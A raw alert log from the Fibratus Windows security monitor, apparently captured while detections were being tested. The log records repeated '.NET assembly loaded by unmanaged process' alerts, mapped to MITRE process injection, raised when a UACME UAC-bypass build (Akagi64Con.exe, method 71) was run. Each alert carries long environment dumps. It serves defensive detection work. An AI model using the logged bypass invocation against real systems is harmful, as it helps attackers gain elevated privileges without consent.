C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\VBCSCompiler\44d3855d27b7cb2a7618c9bf844ca0b3\VBCSCompiler.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675148 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2236035 +0100 CET + Params: base_address➜ 7ffb40030000, checksum➜ 0, default_address➜ 7ffb40030000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\VBCSCompiler\44d3855d27b7cb2a7618c9bf844ca0b3\VBCSCompiler.ni.exe, image_size➜ 925696, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\VBCSCompiler\44d3855d27b7cb2a7618c9bf844ca0b3\VBCSCompiler.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675148 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2236035 +0100 CET + Params: base_address➜ 7ffb40030000, checksum➜ 0, default_address➜ 7ffb40030000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\VBCSCompiler\44d3855d27b7cb2a7618c9bf844ca0b3\VBCSCompiler.ni.exe, image_size➜ 925696, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS 